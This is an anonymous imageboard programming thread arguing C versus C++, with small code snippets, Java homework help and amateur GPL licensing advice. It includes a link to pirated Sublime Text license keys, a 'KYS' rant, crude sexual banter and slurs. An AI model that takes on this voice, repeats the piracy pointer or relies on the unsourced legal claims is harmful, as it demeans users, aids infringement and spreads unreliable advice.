/dpt/ - Daily Programming Thread

Too early.
Delete this invalid thread.

C++ literally improved upon and and every flaw that C has

Attempt to refute me.

>>56283511

You can't write Linux in C++

>>56283511
Examples?

>>56283509
epic

>>56283521
Sure you could

>>56283511
It did not fix the lack of implicit typing as well as the lack of parametric polymorphism.
Not to mention that C++ is a shitty ancient language, if someone wanted to replace C he would go with a modern one.

File: 1472269183648.png (399KB, 1419x726px) Image search: [Google]

399KB, 1419x726px

>/dpt/ in a nutshell


:)

File: C++.png (72KB, 1016x98px) Image search: [Google]

72KB, 1016x98px

>>56283511
C has features that C++ doesn't have.
C is not a subset of C++.

C is simple and syntactically beautiful.
C++ is an abomination.

>>56283521
Yes you can.

>>56283544
That third line is redundant

>>56283542
give it a rest, take a break, go for a walk, read a book, watch Netflix, take a shower.

Calm. Down.

>>56283542
>the majority of the funposters here are girls and have regularly sex
I wish, sadly your pic is false.

>>56283521

I can and I will

>>56283506
A boolean logic parser evaluator in C
A todo list and diary in Java
A game in JS

>>56283511
Agreed, but C is much smaller, and more fun to write

>>56283559
>watch Netflix
Why would anyone pay to watch moves at home?

File: B0E.gif (1005KB, 540x304px) Image search: [Google]

1005KB, 540x304px

>>56283506
Writing my CV.
>tfw neet, no professional experience in programming, didn't go to Uni
W-wish me luck.

Serious question, could I put C++ on my resume and then get away with writing C with classes if they want a C++ developer?

Because I hate C++.

>>56283604
They will probably have a style guide of some sort
What is it you think C++ is?

>>56283584
tell them you have good taste in anime

HVIS DU SKRIVE PYTHON ER DU DUM

>>56283604

Ya until they give you a project with 10km of abstraction

>>56283511

C++ still does not have restrict pointers and there are no plans to add them to the standard.

>>56283559
I am actually quite calm

>>56283581
I can think of a few reasons. Probably the biggest is convenience, you can just click on whatever you want to watch and have it play instantly.

>>56283622
easy now

File: b6929d5a8e107bcef35c6f8f60ec40b2.jpg (53KB, 600x800px) Image search: [Google]

53KB, 600x800px

>>56283521
>>56283524
>>56283538
>>56283544
>>56283575
>>56283618
Not an argument.

>>56283627
I am pretty sure that this is the same case with torrents.

>>56283618
Daddy, where is mummy?

>>56283636
kek

>>56283637
Most people don't know how to torrent or flatout have never heard of it. Also, using Netflix is legal. And besides most people aren't poor enough to where they cannot afford to pay the monthly fee. In other words, they don't have to resort to piracy.

>>56283506
ANIME REEEE

File: Untitled.png (4KB, 640x400px) Image search: [Google]

4KB, 640x400px

post the last piece of code you wrote

>>56283636

>Not an argument
Restrict pointers fixed the one performance problem C had. Unlike in Fortran, compilers could not make the assumption that two pointers did or did not alias, leading to sub-optimal code generation when that was the case. C99 and C11 both support restrict pointers, but as of C++14, the C++ standard still cannot make this assumption.

>>56283636
You'd actually have to provide one in the first place anon.

You made a factually incorrect statement without any reasoning as to why you think that statement is correct.

Troll elsewhere.

>>56283671
;

>>56283673
Where is mummy, daddy? I want cummies!

>>56283671
Hello world!

xD

>>56283673
Could you give a situation where a restrict pointer would actually improve performance?

I do a lot of string manipulation in C.

File: 1468023892046.jpg (68KB, 500x468px) Image search: [Google]

68KB, 500x468px

I think that C++ is better than C

Attempt to prove my opinion wrong.

>>56283521
Not "the" Linux, sure.
Something similar to Linux is completely possible.

>>56283699

Matrix multiplication.

>>56283698
>>56283686
lol are you mr. robot? xDXD

>>56283713
prove you're right, first.

>>56283753
No

WHERE IS MUMMY (OSGTP)??

>>56283761
almost done with her

>>56283778
MUMMY STILL NEEDS TO TEACH ME C# YOU SWINE

HONESTLY IF YOU USE A DYNAMIC LANG JUST KYS

EVEN IF IT HAS "GRADUAL TYPING" OR "OPTIONAL TYPING" OH MY GOD I'M SO IMPRESSED, NOT

IT JUST MEANS YOU'RE TOO STUPID TO GET THE TYPES RIGHT IN YOUR WHOLE PROGRAM

TYPE SYSTEMS THESE DAYS ARE SOPHISTICATED, POWERFUL AND FLEXIBLE ENOUGH TO EXPRESS THE TYPE YOU NEED

DYNAMIC TYPING JUST MEANS YOU'RE AS THICK AS PIG SHIT, NOTHING ELSE

TYPES REDUCE THE NUMBER OF TESTS YOU NEED TO WRITE

BUT I'M SURE YOU LOVE WRITING UNIT TESTS THAT ARE BASICALLY AD-HOC TYPE CHECKING

>>56283826
give it a rest, take a break, go for a walk, read a book, watch a movie, take a shower, talk to someone

Calm. Down.

File: 1322531201812.jpg (10KB, 195x250px) Image search: [Google]

10KB, 195x250px

>>56283826

>>56283506
any of you dudes ever interviewed for le google?
They were keen to interview me before they saw my shitty transcript. hehe :P

They said come back in a year but who knows how many loads I will have busted by then. I dunno, either way really

>>56283826

So I take it you are not a fan of .NET, which allows for both statically typed languages and dynamically typed languages to exist on the same runtime?

>>56283671

template<typename T>
inline double vec2rad(const sf::Vector2<T> vector) {
  return -std::atan2(vector.y, vector.x);
}

>>56283863
rad

is this a valid abs()?

int abs(int j) {
      return (j < 0) ? -j : j;
}

>>56283899

template <typename T> inline
T abs(const T& v) { return v < 0 ? -v : v; }

>>56283911
#define abs(x) (x < 0 ? -x : x)

>>56283899
idk

>>56283919
No

>>56283899
not as valid as a macro

>>56283671
I can't, the last piece of code I wrote was proprietary. I would never betray my employer just for some internet kudos.

Good try though kid

>>56283671
fizzbuzz

>>56283941
what language?

>>56283941
Oh yes, how convenient

I don't believe you, any more than I believe myself when I use that bullshit excuse I've never written any code and neither have you

File: vim.png (137KB, 649x597px) Image search: [Google]

137KB, 649x597px

>>56283941
You're the dumb autist who keeps posting that riced out vim and showing off the go tutorial code you copied off some site?

>>56283699
https://en.wikipedia.org/wiki/Restrict

>>56283863
Hey, its redundant to use the inline specifier with a templated method

>web based message board written in assembly

http://asm32.info/fossil/repo/asmbb/index

>This page was generated in about 0.013s


Imagine if 4chan was written in assembly

>>56283997
No, because it will be inlined on usage

>>56283997
>>56284030

vec2rad<int>(x);
vec2rad<float>(x);
vec2rad<...>(x);

but with inline

-std::atan2i(x.y, x.x);
-std::atan2f(x.y, x.x);
-std::atan2(x.y, x.x);

>>56283941
A few lines won't hurt. :^)

File: fuckbutt.png (35KB, 742x849px) Image search: [Google]

35KB, 742x849px

Here is a solution.

Now stop asking about it, fucking hell.

>>56283584
ganbate

>>56284071
By the way, it took me less than a minute to write. That's not even bragging, it taking 60 seconds would be an embarrassment, I'm merely declaring an upper bound. Oh, and I'm drunk as fuck.

>>56283997
I was searching around if it was necessary or not and came across many stackoverflow arguments about it. It's the first time I've actually done template programing myself so I wasn't really sure.

>>56284071
>#include "stdio.h"
>#include "stdbool.h"
>""

>>56284023
I'm writing a message board in C right now.
pages get generated in 0.005s

File: Window.png (42KB, 1360x1063px) Image search: [Google]

42KB, 1360x1063px

>>56283584
Are you me?

File: 1456908074844.jpg (39KB, 500x500px) Image search: [Google]

39KB, 500x500px

>>56284071
>stdbool.h

>>56284090
ty, I'm still polishing my git projects.
>>56284102
Are you the anon who wrote an IRC bot IIRC?

>>56284096
>>56284117
It compiles you dingofuckers

I could use angle brackets I bet that'd make you jizz your pants eh?

>>56284117
There is nothing wrong with using stdbool.h

>>56284117
Do people use that header just for the sake of clarity? Like how chars can be stored in ints?

>>56284141
_Bool has slightly different semantics than other integer types, but yes stdbool.h is mainly used for clarity.

>>56284071
If someone wrote that in an interview they would not get the job

>>56284141
desu chars should normally be stored in chars because (ascii) characters are under 1 byte.

>>56284140
better to just define true/false macros

>>56283584
I was on the same boat a few months ago. I copied a resume I got off of Indeed and used a free CV template from some random site. I did some editing on the resume and threw in all the shitty projects I did on it as "professional experience" and wrote only two short paragraphs for the CV before sending them off to every place where I believe I would have a chance. After some rejections, I eventually landed a dev job.

>>56284189
>better to just define true/false macros
Which stdbool does.

I have a question for /dpt/ regarding licensing

I have a personal project which I have the intention of releasing as MIT. There's an outside project which I have - in the algorithmic, rather than conjecture, sense - a dependency on. This outside project is GPL. I have the source code for this project, and have reimplemented it partially to satisfy the subsections I need for my project. The original project is in C, and my project is in C#, which necessitated a reasonable amount of refactoring of the outside project's code (so it is not a 1 to 1 mapping). I have also implemented the dependencies this outside project had (again, using their source code as a base). Am I in violation of the GPL?

>>56284200
>Am I in violation of the GPL?
I don't think so.

>>56284217
Unless he distributes binaries.

>>56284198
It's as though they haven't read the standard

Keep trying /g/, one day you'll manage to code fizzbuzz/fuckbutt, just don't call it the latter in interviews

>>56283911
Using a template for something like this doesn't make much sense. absolute value has a strict mathematical definition which is only valid for arithmetic types. It also completely destroys type safety and results in errors for every type that doesn't have two very specific overloaded operators.

If you want to create a templated absolute value function, it would be better to use <type_traits> and std::enabled_if from c++11:

template <typename T>
  typename std::enable_if<is_arithmetic<T>::value, T>::type
abs(const T& val) {
      return (val < 0) ? -val : val;
}

Then the function will throw a compile time error if anything other than an integral or floating point type is passed.

>>56284180
Why not?

Were I the interviewer, I would admire their simultaneous solution to and dismissal of the problem

>>56284195
Glad you find a job
>and threw in all the shitty projects I did on it as "professional experience"
I'm doing that, do you think I'll look autistic if I go describing my projects in a design manner, for example I'm writing something like: "The application uses threads to avoid glitching in the audio playing".
I'm not sure about doing that.

>>56284200
If you hold the copyright to the GPL project then you're fine. Otherwise you only have to extend the GPL to the modifications you made.

>>56284236
Would distributing binaries (not stating my goal is to only release binaries, my source is on Github) be a violation of the GPL (due to my whitebox reverse engineering), or rather the MIT? If it's a violation of the MIT I don't care (because I don't intend to distribute binaries anyway), but if it's because of the GPL I'd prefer not to be restricted. Could you explain your reasoning for me?

>>56284268
Just say you have multithreading experience/you made use of multithreading in the project

Buzzword interviewers will lap that shit up

>>56284236
His code is MIT anyway, so his original code is definitely GPL compatible, assuming he distributes the source code.
I don't think reimplementations of someone else's code (where you haven't taken it directly) means that you have to follow their copyright.
I'm no lawyer though, so I don't know for certain.

>>56284030
No it won't. inline specifier is just a hint to the compiler. It doesn't have any other consequence really. At the end of the day, its the compilers decision, and modern compilers pretty much completely ignore the keyword when deciding what to inline. I pretty much only use it to declare my intent

>>56284277
I'm drunk as fuck so don't take me too seriously, but I believe one difference between GPL and LGPL is that LGPL allows you to link dynamically to LGPL binaries without having to give people your source, but GPL doesn't

>>56284280
kk, thanks m8

>>56283506
Recursive descent parser for my IRC bot.

>>56284285
I'm no lawyer either, I just remember that the GPL is weird

I'd definitely prefer to use a BSD- or MIT-licensed lib over a GPL-licensed one if I wasn't planning to make the source of my project available

>>56284298
Technologically inclined interviewers know that your interview has to pass the HR buzzword filter before they get it, and that if you're using a recruiter they'll fill your CV/resume with buzzword spam.

Back when I was interviewing the only thing I looked for was a list of languages so I knew what language to ask my questions in. Everything else usually boiled down to "yeah, you wrote some code at some point".

>>56284268
I described my projects too, but only as summaries so that I didn't go over the two-page limit. Just be honest and don't exaggerate too much because they will test you. If you claim to know something, you should know it. The lead developer in my company used a only a one-page resume that was even simpler than mine.

>>56284276
I do not hold the copyright to the GPL project; it's an existing project which I have not contributed to. I haven't made any modifications to the existing project, in the sense that I didn't modify their code: I rewrote it in a different language, using their code as an example from which to work.

>>56284285
>>56284297
My main concern is that somehow by reverse-engineering (in the loosest sense, considering ultimately all I did was port a portion to a different language) a GPL project, I haven't made a work derivative enough to allow me to relicense my independent project as MIT. I don't want others to feel burdened due to licensing when using my work, and I don't want there to be any strange restrictions on what I as the developer am allowed to do because of licensing, which is why I want to use MIT rather than GPL at all.

>>56284308
I fully intend to make the source available in that it will be publicly available on Github, and the availability of the source at that location will be made abundantly clear to users (noted on the website and in the help menu of the program). Am I restricted from distributing standalone binaries (without the source available in the download) due to the GPL code I brought in?

>>56284344
I think your best bet is to email rms

>>56284322
>>56284335
Thanks, I guess I'll describe the projects in a more general manner, and not by pointing technicalities.

>>56284344
>I do not hold the copyright to the GPL project; it's an existing project which I have not contributed to. I haven't made any modifications to the existing project, in the sense that I didn't modify their code: I rewrote it in a different language, using their code as an example from which to work.
Then by that case all the code written was by yourself so no one else holds copyrights on it. As far as I know you were merely inspired by the other work but I'm no lawyer.

>>56284335
I always thought people who went over two pages were a bit... y'know... weird.

>>56284362
The project isn't at a stage where I would be comfortable involving someone of such high standing in the licensing issues; it's in such an early and unrefined state that I'm mainly asking because I want to know whether I should refactor my project to remove the dependency (which is ultimately a major component of the project, but one which can be replaced without changing the behaviour of the end result from the perspective of a user).

Specifically, I'm reimplementing the phash project as a component of an image cataloger that replaces duplicate files in a directory with symlinks to reduce directory size, but where "duplicate" is defined as "sufficiently similar with higher quality preferred".

>>56284385
From what I read on whitebox reverse engineering, in court my current state would be in violation of the GPL because I'm actively writing my code against their existing code - to guarantee no license violation, I would need to learn their code in sufficient detail as to rewrite a functionally equivalent codebase without theirs as a reference during the process. This is restrictively imposing for me, however, as I'm basically too fucking dumb to figure out how to accomplish this without an example.

My concern is that due to the licensing of my project as MIT, others might end up using my work over the original project - depriving the GPL licensed project unduly.

>>56284290
>it's just a hint
That's not what we were talking about

I need some advice. I need to make conway's came of life, that alone if extremely easy, however, since it's an oop class, I need to use oop in some way, and I can't figure out what's supposed to be and object in this. Any ideas?

>>56284417
Use comonads, they're ideal for this sort of problem.

>>56284415
please explain

>>56284417
Sounds just like OOP design, trying to fit a square peg in a round hole.
It's probably supposed to be each cell.

>>56284417
The individual grid squares are objects. My immediate reaction upon reading your post is that each square knows its own state, and has references to the surrounding 8 squares (as an array of pointers or references, as the order doesn't matter, but rather the count). Each tick, the square updates its current state based on the surrounding square's states.

File: Screenshot from 2016-08-26 22-22-02.png (215KB, 1920x1080px) Image search: [Google]

215KB, 1920x1080px

Apparently this is black.

>>56284461
Ruby, Ruby, Ruby, my dear boy, it's because you're using ubuntu, and your terminal colorscheme has black set to purple.

I just... dear boy, I don't know quite what to do with you. I used to respect you, but this incident? This offense? This insult? This indignity? Begone, foul wretch.

>>56284461
>he actually bought sublime

>>56284436
Are you saying Squarable does not implement Roundable? Is it because of the diamond with Holeable?

>>56284477
He spent $200 on a plushie of a fucking pony

>>56284461
>static static static
Stop.

>>56284492
>He spent $200 on a plushie of a fucking pony
keking what

what the fuck

why

that's more than I spent on my fucking triple footpedal

daddy is a cuck

>>56284470

You're looking at my text editor, not my terminal. The terminal is the gray thing. I'm complaining that the CoreCLR thinks gray is black.

Also, what?

>>56284477

I have done no such thing. I am using a universal license key.

http://appnee.com/sublime-text-3-universal-license-keys-collection-for-win-mac-linux/

>>56284495

I'm just fucking around right now. If i actually make something of this, it will be a bit more object-oriented... maybe.

>>56284498

It was a little bit more than $200, and the reason it costs that much is because it was handmade. I more or less paid for materials plus $7.58/hour of labor, and shipping.

>>56283506
>c is nasty anorexic plastic gook
>c++ is built white master race
Looks good to me.

>>56284542
Why have you forsaken me?

FATHER WHY

>>56283524
cout is so much better than printf

>>56284542
>I'm just fucking around right now. If i actually make something of this, it will be a bit more object-oriented... maybe.
Nah, you seem like the type that never figured out OOP.

It should come naturally to you otherwise at best it'd end up being C with classes.

>>56284546
>C++
>Master race
(You)

>>56284542
It better have been Dress Horse

>>56283970
Real talk though, what via plug-ins are those?

>>56283919
>abs(1-2) = -3
Nice try kiddo.

why is Java/Eclipse being such a bitch?

Scanner.close(); 
Scanner.close; 
input.close(); 
input.close; 

keeps yelling at me saying error scanner never closes, and no matter which variation i use (from my books, stack overflow, youtube video) none of these work and some give me more errors

#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include "node.h"


struct node_int {
    void *data;
    node next;
} node_int;

/*
* 'Constructor' for node
*/
void init_node(node *n,void *o)
{
    COMPLETE ME
}

/*
* Getter for data
* Return data field
*/
void *get_data(node n)
{
    COMPLETE ME
}

/*
* Getter for next
* Return next field
*/
node get_next(node n)
{
    COMPLETE ME
}

/*
* Setter for data
* Param o value to be placed into the node's data field
*/
void set_data(node n,void *o)
{
    COMPLETE ME
}

/*
* Setter for next
* Param x value to be placed into the node's next field
*/
void set_next(node n, node x)
{
    COMPLETE ME
}

Engineer here that has to do programming class. can anyone help me do this/give hints? Pretty out of my league here.

>>56284644
>this is my homework, can you do it?
This is some meta bait right now
I'm not even sure that I believe this is your homework

>>56284417
OOP breaks as soon as you need to work with relations instead of just the behaviour of a single object. Whoever assigned GoL as an OOP problem is stupid.

File: 1463415053249.png (93KB, 402x564px) Image search: [Google]

93KB, 402x564px

>>56284644
>setters, getters and constructors
>in C

now it's personal

>>56284644
for init_node should it be

node->something?

>>56284650
it is my homework and I have no idea what to do.

just also asking for resources and shit to help.

>>56284644
>i'm an engineer
>i can't even make babby's first constructor

>>56284561

I am not GTP's keeper. You can ask me a million times and I will not be able to answer you. I don't even have a Skype or Steam account for the guy to be able to message him "hey, that one Anon in DPT is looking for his mummy."

>>56284588

It wasn't. The reason why I had to get it hand made was because it was a background pony. I do have a cheapo $18 plush of dress horse though. Made in the only country where labor comes that cheap -- China.

>>56284580

I am the type of person who uses OOP where it is appropriate. Many tasks don't require OOP and can be done easily using a simple procedural style.

File: image.jpg (154KB, 1003x716px) Image search: [Google]

154KB, 1003x716px

>>56284546
Sepplefags are fat retarded poltards confirm.
>>/pol

>>56284071
wat about the "<>" is stead of the apostrophes when your including libraries?

File: mine.gif (950KB, 210x233px) Image search: [Google]

950KB, 210x233px

>>56284542
i still love you.
fuck these naysayers

>>56284667
You end up abstracting away things like this once you start doing anything non-trivial in C.

>>56284698
>get_data(&x)
>x.data

>>56284708
>anything nontrivial
>posts something trivial

>>56284653
t. brainlet that couldn't get further than recursion

>>56284719
did you even read the post i replied to

>>56284644
a lot of IDEs have an "insert getters/setters" command if you right click or look through menus. By a lot, I mean, at least Eclipse has it under refactoring commands or some shit.

>>56284667
I'm inclined to agree that this might require a violent purge of sorts...for Terra, for the emperor and all that

>>56284685
DADDY PLEASE I'M CRYING NOW

File: 1468998276232.png (178KB, 500x500px) Image search: [Google]

178KB, 500x500px

>>56284728
explain recursion in terms of OOP

File: 1418673922875.png (125KB, 318x368px) Image search: [Google]

125KB, 318x368px

Can i post my C board again?
http://45.32.80.36/board.cgi

I added an execution timer.
Goodnight, /dpt/!

>>56284708
doppu rerro
How would you implement a counter that increments it's count every time the getter is called?

>>56284728
Recursion has shit-all to do with this.

OOP is useless for GoL.

>>56284743
You use the stack pattern

>>56284755
The "C way" would be to make the caller do it.

>>56284756
COMONADS JESUS DRUNK FUCK CHRIST

>>56284755
You mean how would you implement a function that incremements a variable every time the function is called?

No fucking idea, obviously it must be all getters and setters

>>56284757
explain the "stack pattern"

>>56284767
you don't know what comonads are

>>56284767
epin maymie

>>56284744

You can, because I am in awe. Is the source available?

File: thankyou.gif (2MB, 320x180px) Image search: [Google]

2MB, 320x180px

>>56284755
with a...

...

global variable .

plsdonthurtme

>>56284685
>uses OOP where it is appropriate
OOP is never appropriate.

>>56284755

static int c = 0;
int counter() { return c++; }

>>56284783
I'll fucking epin maymie you you faggot son of bacchus's ass. Hvis you ever come to my country will I kick you with the force of over a thousand angry bears, you'll never feel your ass again it will be so sore, so sore so sore as the time you provoked a nest of bees trying unsuccessfully to taste their honey. Komencas labori, that's Latin you ignorant pig-dog, it means "work, peasant".

>>56284790
So he was right?

>>56284778
The stack pattern uses a stack.

What more need I say?

>>56284789
>gif
God I love mummy, whoever startles mummy (especially those mean Putin alt-right nazi frogs that just keep insulting her health) will pay

OOP is actually really fucking good at platform abstraction. That's the "killer app" for me.

>>56284835
IT'S FUCKING NOTHING

USE THE READER MONAD

>>56284818
You can't just take a data structure and call it a pattern and OOP

You're fucking retarded

>>56284842
Everyone knows you're false flagging

>>56284832
OSGTP is mummy

File: stackoverflow.png (44KB, 753x772px) Image search: [Google]

44KB, 753x772px

JUST YOOZ BOOST

>>56284790
have a look at Qt and then compare with GTK+ mate then give your head a solid wobble

>>56284800
>c++
~:;~^~]

>>56284852
>You can't just take a data structure and call it a pattern and OOP
Why not? That's what every other OOP pattern is.

>>56284789
>>56284800

You can actually achieve this without polluting the file scope:

int counter(void)
{
    static int c;
    return c++;
}

Here, we still use static allocation, but we ensure that counter() is the only function in the file able to access it.

>>56284864
GTK is OOP too, you know.
It uses that Glib shit.

>>56284883
DADDY WHERE IS MUMMY

I'm disappointed, you're not using your namesake.

>>56284858
Chillary is my only mummy, she is so loving and kind and always listens to me and takes care of me

>>56284863
NEED TO ADD TWO NUMBERS? THERE IS NODE PAKACGE FOR THAT! USE ADDNUM PAACKGE, IT GUARANTEE WORK MOST TIMES.

>>56284898
Get out, fucking normie

>>56284883
NORMIE SCUM NORMIE SCUM GET A BITE ON YOUR BUM-BUM

File: 986.jpg (12KB, 232x231px) Image search: [Google]

12KB, 232x231px

>>56284852
>You can't just take a data structure and call it a pattern and OOP

My pick for /dpt/ post of the month.

>>56284933
GET OUT

GET OUT

GET OUT GET OUT GET OUT

>>56284892

Mummy is a figment of your imagination. Your real mummy died in a car wreck when you were 5. Being unable to cope with this, you created a tulpa of her and have been talking with her every day ever since. The rest of your family has simply been playing along to avoid hurting you.

>>56284927

One moment I'm a cuck for commissioning a handmade MLP plushie.
The next moment I'm a normie.

>>56283506
Anime website!

>read K&R
>only ~300 pages
>very few concepts
>pick up the C++ programming language
>1200+ pages
>full of abstract concepts too complicated for a C brainlet to understand
>give up
and so, an anti-OOP shitposter is born...

>>56284956
I enjoy making things up and posting them on the Internet too

>>56284946
Mummy posts on here, why you gotta be lying to me, daddy?

Normies are cucks. There is no contradiction.

>>56284965
FUCK OFF NORMIE

>>56284965
shitposting belongs in /wdg/

>>56284981
Shit belongs in /wdg/ anon, you know that

Does anyone else find it really weird that people group together various tools and ways of using the tools into a "paradigm" and then try to argue that it should be used exclusively?

Just use the right tool for the job. This should go without saying.

>>56284946
I MISS MUMMY SHE HELPS ME WITH C# CUMMIES YOU ARE BORING DADDY

>>56284995
I completely agree. It just so happens that OOP is never the right tool for the job.

Reasons to use OOP:

Reminder that a hedge fund lost $400 billion because it used OOP

>>56284995
Now that I've written it out, I suppose this is what smart people would call "linguistic relativity". Colloquially, the Blub paradox.

>>56285015
There's no such thing, it was written by a guy trying to sell consultancy services. More like serfices amirite?

Which language you use doesn't matter.

>>56284968

Normies don't buy MLP plushies, Anon.

Working on Ludum Dare compo entry and am remembering why I don't like programming video games. There's so much art that goes into this and I'm just in it for the fun programming bits.

>>56283511
Template metaprogramming is turing-complete.
Thus, whether your compilier ever finishes (halts) is undecidable.

>>56285026
If only you knew, Daddy. If only you knew.

It's normie-tier this year. It's going full mainstream in 2017. The year of the pony. 2+0+1+7=10, which is the number base used in Equestria.

>>56284667
But constructors/destructors are common in C. pthreads are an example.

get/set_data make no sense though

>>56285026
I think you underestimate how popular bronies are.

>>56285006
>Reasons to use OOP:

I'm going to go out on a limb here and say one good reason could be improved code legibility.

Another stab in the dark would be that it allows for easier maintenance for enterprise-tier spaghetti, or at least, the prevention of said-spaghetti. I think those are the theoretical proponents of OOP, anyway.

>>56285090
FP is better for both those things anon DID YOU EVEN PAY ATTENTION IN CLASS

>>56285090
That's what people say, but in my experience it doesn't actually happen as much as it sounds like it should.

I also don't like when people say "OOP" when they really just mean "objects". There's a big difference between using objects when they're appropriate and using objects for everything (OOP).

>>56285135
>not using FP
No

>>56284863
MICRO-OPTIMIZATIONS ARE THE ROOT OF ALL EVIL HERE'S AN ESSAY ON WHY YOU SHOULDN'T MICRO-OPTIMIZE INSTEAD OF AN ANSWER OF WHETHER THE COMPILER PRODUCES BETTER CODE OR NOT.

struct my_time_int {
    int hour;
    int minute;
    int second;
};

would an initialiser look like this:

void init_my_time(my_time *t)
{
    t->hour = 0;
    t->minute = 0;
    t->second = 0;
}

just need feedback if I'm on the right path.

Just started working on a Get cataloguer for 4chan.

Thank fuck I saved a bunch of old boilderplate for this, so much JSON to consume.

Need to come up with a reasonable approach for defining a get based on a boards current post numbers - I'll probably just take anything that's got sextuples or more and count that as a significant get and be done with it.

>>56285195
pretty much

though i never use a barebones init function because i'm going to fill it right away with data i got elsewhere.

also make sure to create a container when working with multiples of my_time struct

struct time_container {
     int count;
     struct my_time *arr;
};

>>56285195
yeah, but for functions related to a struct the convention is to write it [struct name]_[function name] so in your case

void my_time_init(my_time *t){...}

reason being functions related to the same features can be found easily.

>>56285241
>>56285245
thanks!

>>56285195

You can just use a designated initializer for this if you can use C99 or higher.

t = { .hour = 0, .minute = 0, second = 0 };

File: 552511131.png (392KB, 480x640px) Image search: [Google]

392KB, 480x640px

what am i working on?
a big Java headache.

trying to do something like this:
take a string of all numbers and convert/pass that into an int[]

all i can find in an hour of google stackoverflow, etc is shit where the delimiters are already in use (ex: 1, 2, 3, 4, 5, )

but i'm trying to take a raw number like 8675309
and make that into 8, 6, 7, 5, 3, 0, 9

can anyone help (not do it for me, but point me in the right direction) please?

>>56285706
you're asking for 2 completely different things

>>56285706
quick and dirty solution:
>number to string, then characteratindex

clean solution:
>division / modulo operator

what does it mean when something is AND-ed by 0xFFFFFFE0?

XOffset = XOffset & 0xFFFFFFE0;

Is it "go to the lowest multiple of 32 from this number"?

>>56285760
drop the last 32

>>56285706
So "8675309" -> [8, 6, 7, 5, 3, 0, 9]? That should only require a single for loop and a way to append elements to an array.

>>56285760

the offset will equal only the flipped bits that are common in both integers.

>>56285765
>>56285779
>>56285760
I can't tell if you guys are retarded or not.

That nukes the LSB 5 bits.

i just got done reading and going through all the exercises in C++ Primer book.

a-am i ready to be a programmer yet?

>>56285790
I tried to prove that but 4chan said my string of 1's was spam

>>56285748
>>56285772
i've tried parsing from char[] to int[] and get errors saying can't be used on
tried doing a for loop (i++) and all, but the result is off.
it's craziness.
through my reading, others are complaining that java doesn't have a single line for this conversion like other languages do

>>56285790
I can tell that you're retarded
I said drop the last 32

>>56285805
Show us your for loop

>>56285847
hell, i've written, deleted, so many times now. but here's the last iteration

char[] cnA = cn.toCharArray();
int[] intArray = new int[cn.length()];
for (int i = 0; i < cn.length(); i++) {
intArray[i] = Character.digit(cn.charAt(i), 10);
int sum = 0;
for(int counter = 0; counter < cn.length(); counter ++){sum+=intArray[counter];

>>56285808
The last 32 what? 32 is 10000. It drops 32 to 0 if you want to say it in reference to integers.. which would be fucking stupid.. no one says that shit.

>>56285900
Are you dumb?
He just said "& 0xFF...E0", you don't know whether it's signed, unsigned, floating, or even some obscure format or just a raw bitset.

His question even fucking mentioned 32, so obviously it's an apt fucking response.

2^5 is 32


You fucking idiot

>>56285900
>>56285790
>>56285779
>>56285765
Is there a better way to phrase this because 12 going to 0 and 35 going to 32 and 60 going to 32 doesnt really tell me much of whats going on intuitively.

why would someone do this

>>56285930
something like
n - n%32

give or take 1

>>56285888

for (int i = 0; i < cn.length(); ++i)
{
    intArray[i] = Character.digit(cn.charAt(i), 10);
}

There is an infinitely better way to convert a char to an int. What kind of error are you getting anyway?

>>56285930
here's the full context

  foo = PositionX & 0xFFFFFFE0;
  bar = ((Width + 32) & 0xFFFFFFE0) - (PositionX & 0xFFFFFFE0);

File: image.jpg (29KB, 366x418px) Image search: [Google]

29KB, 366x418px

>you can write lisp code that can never be compiled

(defmacro lel ()
  (loop)
  '(kek))
(lel)

Nice meme language, autistes.

>>56285930
http://bitwisecmd.com/#9999999,&,0xffffffe0

>>56285942
whoops, might be 16

>>56285930
basically it literally just drops the last 5 bits

>>56285956
>self-documenting code
>MUH code as data

>>56285963
>drops the last 5 bits
so uh

divide by 32 and then multiply by 32?

>>56286007
yes

It rounds a number down to the nearest multiple of 32

File: 5ddbef3e71e9e417cbddd348bc6f2dd5.png (12KB, 772x137px) Image search: [Google]

12KB, 772x137px

>>56286012
thanks. that was the answer I was looking for

>>56285945
i forget which term was used. that was about 5 revisions ago.
more of the code:

String cn = 31997
char[] cnA = cn.toCharArray();        
int[] intArray = new int[cn.length()];
for (int i = 0; i < cn.length(); i++) {
intArray[i] = Character.digit(cn.charAt(i), 10);
int sum = 0;
for(int counter = 0; counter < cn.length(); counter ++){
sum+=intArray[counter];
System.out.println(sum);

the last version now doesn't report an error, but the math is off now.
the sum should be 29, not 27

>>56283506
I'd take C++ over C any day even if it's just for parameter overloading.

>>56285706
>not do it for me, but point me in the right direction
actually, at this point, my pride is broken, and i don't care what anyone thinks.
so now i beg for a solution... like a cuck

String cn = 8675309;
int[] intArray
.
.somehow
.becomes
.
System.out.println(intArray);}
8,6,7,5,3,0,9

>>56286115
>;}
;}

File: 1467650385637.jpg (272KB, 1257x943px) Image search: [Google]

272KB, 1257x943px

>>56283521
I would simply like to interject for one second. What you're calling Linux, is in actuality, GNU/Linux, or as I have of late taken to calling it, GNU + Linux. Linux isn't an OS on its own, but actually another free piece of a completely working GNU setup made proper by the GNU core libraries, terminal tools and required setup components completing a full OS as defined by POSIX.

Quite a few computer holders use a subspecies of the original setup every single day, but do not know. By a strange happenstance, the edition of GNU that is being broadly utilized now is often called "Linux", and a substantial number of its holders do not know that it is really the GNU setup, made by the FSF.

There is really a Linux, and the population do have it installed, but it is simply a part of the setup they use. Linux is the core: the part of the setup that distributes the machine's resources to the other programs that you run. The core is a necessary part of an OS, but relies on the rest of the setup; it will work only in the shadow of a fully developed OS. Linux is most commonly utilized with the GNU OS: the whole setup is really GNU with the addition of Linux, or GNU/Linux. Every one of the alleged "Linux" distros are really distros of GNU/Linux.

>>56286055

String cn = 31997; // Quotation marks, otherwise you're attempting to assign an int to a string
...
intArray[i] = Character.digit(cn.charAt(i), 10); // There is a much cleaner way to convert a char to an int in Java, Google is your friend here

>>56285956
You can write code that doesn't compile in any language.

# include<stdio>
main { int } [
    Println(pt4)
];

>>56286179
That's not valid C though.
He was complaining about valid code that fails to compile.

>>56285956
ughh, of course you can fuck up your program wherever you have the power to. logic, math, memory management etc
Lisp gives you the possibility to manipulate the structure of the program. sometimes you reshape the program to be impossible to compile
I'm sure you could do the same thing with C++ templates

>struggle incredibly with logic and math
>take adderall
>>????
>profit

Does it actually help or is it all just a meme?

>>56283542
>implying women can be computer literate
ayyyyy

[code}

System.out.println(cn + ".");

String str = cn;
char[] charArray = str.toCharArray();


String number = String.valueOf(cn);
int[] digits1 = number.toCharArray();

